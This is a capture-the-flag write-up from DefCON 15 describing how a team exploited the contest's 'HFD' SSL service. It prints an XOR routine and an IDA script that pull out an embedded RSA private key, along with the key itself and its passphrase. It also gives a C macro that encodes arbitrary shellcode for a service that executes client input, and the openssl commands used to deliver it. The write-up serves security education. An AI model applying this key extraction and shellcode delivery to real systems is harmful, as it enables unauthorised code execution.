.w           v.         _,      
      W(          d(_wa      4Q,        . Exploiting HFD
      W(.swc     jWmT$W`     =V'   .
    .sWmV9WP    jWP`_Qf     aa.   .c    . Osu Tatakae! Sexy Pandas!
   3WUm`_d(     ?(  j@      "Q[  _m'
     .m ?'         )W'       "  _Qf     . DefCON 15 CtF
      m           _W(          jQF
      4wawm,     _m(        osyW!    
      -?TT?'    _Z'         7$T' 
                              _,                 a  .Jp!               
                  jP6   3Q7          .QayQL"    .7samm      
             )w :a:5[    df   ./    .yW?:Qf     -$D"QF      
             ]D  ]m.     ^   .w(    m@' jD         jE       
             m[   Wk        .mP    =P-$wW'        _@`       
            jE    ]W;      _QP`       )W[        _WSw,      
           _Z`     9'    .jQF       . dF       :_m[ ?Qa     
           -            qm@^        ajD        jWf   4Q;    
                        -!         =W?         ?^    )9'    


     This paper explains how to exploit the HFD service of
    the Kenshoto's CaptureTheFlag competition at DefCON-15.

HFD analysis

Taking a first look at the binary, it's easy to see that it has a lot of references to the SSL library. But let's analyze it step by step. It's also easy to find that main() is located at 08049724, so starting from here and after all initialization code (setting privileges, signal handlers and all the socket stuff) we reach 08049BB0 where all the SSL fun just begins ;D

Here we see some SSL setup (more initialization code, duh), and next the hfd binary uses the /home/hfd/server.pem certificate via SSL_CTX_use_certificate_chain_file(). At this point the execution flow is just as expected, setting up the socket so the clients can connect using a SSL connection, but there's a little surprise. The hfd service has embedded, but encrypted, a private key and its password. Here's the decryption routine written in C:

void DecryptPrivateCreds() { unsigned int i, j; for (i = 0; ( i <= 7 ); i++) SSL_Password[i] = SSL_Password[i] ^ 0x4B; for (j = 0; ( j <= 961 ); j++) SSL_PrivateKey[j] = SSL_PrivateKey[j] ^ 0x4B; }

Simple, huh? Just write a little idc script so you can export the decrypted data from IDA:

auto ini, fin; auto ea, howmany, counter; auto f, filename; ini = SelStart(); fin = SelEnd(); counter = 0; filename = AskFile(1, "*.*", "Save dump as..."); f = fopen(filename, "wb"); howmany = AskLong(0, "How many bytes to decrypt?"); for (ea = ini; (ea < fin) && (counter <= howmany); ea++) { auto b; b = Byte(ea) ^ 0x4B; fputc(b, f); counter++; } fclose(f);

Another nice way to do it is using TinyHexer and it's XOR decryption script, or you can choose the leet way and do it with radare ;P The exported private key is:

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,7396FAE9A28020E5

eBghNXPK5p3lAK84eKe/dBDtRpK+c6yuuE7+Bj1KxNGoC9i65oHl7xHQyRTTFsvW
9877kGLpHw0qOF3GjhNE73h+l72Q+4jMVROtf9zU4+v01webdzj2J/ZJOn7glUVK
tfg7KnkJMld9pXL4TTSkMt1yxvv9KC/iK+bCXfGCp9l5Bvd30gEYomnrY1gLJ0Qq
Wh3zyfePDh0hwrePUEStQwm9p+fbm1wAcZuxGr+x62WGwB4Om924pR4KMOCKG79t
QYEKITytPVELcAIy2R3u3106pnkxssBVwzwcamVBk1DTiR0Bil77e79b0nz/Gjjf
r3CovmWsA8ozzWCcUxUD7fCbjF2sHunIStW5/xSaEEa/BUZ9SjY7rL+WbefZuz83
ineSgOCwrlhDy8JtA69TtOL4MSEkMKdYJbdABboXvhjs1yDmx+1y8Idl7ixkzC1T
vgVP3MY/4iSdpXsMmej6ZC89fBBgkIsq5hYzCgwZS3RO5xMyRSuwrWQaOI8Hfsq4
w1Bk4LkBEnXmytJd7cugN9nlttM3z/YfKJeHeITsoG7TdhW7ysa2otfkJMzy4T+c
eOV0L8Y2H6xhriu+DlPCgqw5AQ6rblSoaU1ybQZuztaAo2ikQvVB5B2xSTQWZxmt
btEcT3EbvPBkHIJtSapHBd2A9aljEfb9mPtn+1rl1pMFsrdQJpkevVxUxBxGLzih
Pay6VHl6dRDQ4qclHv2n1UjntUrSQkHOnS52oOhdxmTWPNtM8e8qgwBHVqCLrL5G
5EHeCzlYkmArMziD9ontIGxPZUIw2U36yyGDM05eSlux3hd4CX1tjQ==
-----END RSA PRIVATE KEY-----

Ok, this is an interesting way, but we will play with the key later. Let's continue with the analysis. Just after this decryption, there's a typical SSL context initialization code (as you can see here):
SSL_CTX_set_default_passwd_cb(ctx, pem_password_callback); SSL_CTX_use_PrivateKey_file(ctx, "/home/hfd/server.pem", 1); SSL_CTX_load_verify_locations(ctx, "/home/hfd/root.pem", 0);

The binary only needs to init the BioApi (Diffie-Hellman) and then it can start to accept connections. Just note that after the ssl-handshake is completed, the client only has 1 second to interact with the service (take a look to the alarm(1) and its handling), so we only have 1sec to exploit and get the flag.

What the service finally does is a bit surprising, or at least it was for us when we were analyzing it. Better than explaining it, just take a look at the code. Let's say that SSL_read() put in ssl_read_buffer the data supplied by the client (which is ssl_readed_bytes long):

n_bytes = ssl_readed_bytes; encoded_byte = 0; bit_index = 0; encoded_index = 0; bytes_processed = 0; while ( bytes_processed < n_bytes ) { encoded_byte |= ssl_read_buffer[bytes_processed] & 1; ++bit_index; if ( bit_index != 8 ) encoded_byte *= 2; else { final_encoded_buf[encoded_index++] = encoded_byte; bit_index = 0; encoded_byte = 0; } ++bytes_processed; } final_encoded_buf();

Maybe the encoding routine looks a bit confusing, but the most important part of this code is its last line... oh! ok, you finally saw it. Yes!! it uses the user supplied data as code, only after a simple encoding. How does the encoding works? The encoding is really simple (once you analyzed it xD). No, really, it's simple. The encoding (actually a decoding, isn't it?) takes the last bit of every byte in order to build the "final_encoded_buf". Working this way, we need to supply 8 bytes to represent a single bit.

This kind of encoding allowed us to use an elegant approach. We can use 0x30 to represent a binary 0 and 0x31 to represent a 1. That is, we can use the characters '0' and '1' to represent real binary 0s and 1s. Okay, an example, we can encode the opcode 0x41 as the character string "01000001". Okay, pick your best shellcode and simply encode it:

#define PRINT_BIN(x) printf("%d%d%d%d%d%d%d%d",\ (x&128)?1:0, (x&64)?1:0, (x&32)?1:0, (x&16)?1:0,\ (x&8)?1:0, (x&4)?1:0, (x&2)?1:0, (x&1)?1:0); //[...] for (i = 0;i < sizeof(shellcode) - 1; i++) PRINT_BIN(shellcode[i]);

Well, we have all necessary information in order to exploit the service, except for a working connection...

Handling with SSL Certs and Keys

If you try to connect to the service using openssl, you will notice that it doesn't work. We still have to deal with the exported private key, so our client can supply to the server a valid key/certificate. In the home dir of the hfd user we can find 3 files: dh1024.pem, root.pem and server.pem. Also we have the private key and the password. All we need to do is:

$ openssl rsa -in exported_private_key -out decrypted.key
Enter pass phrase for exported_private_key: K3nsh07o
writing RSA key
$ openssl s_client -host  -port 1024 -cert root.pem -key decrypted.key 

And voila! The connection now works, your shellcode gets decoded and executed, you get a breakthrough and a happy ending xD

Osu, Tatakae, Sexy Pandas! 2k7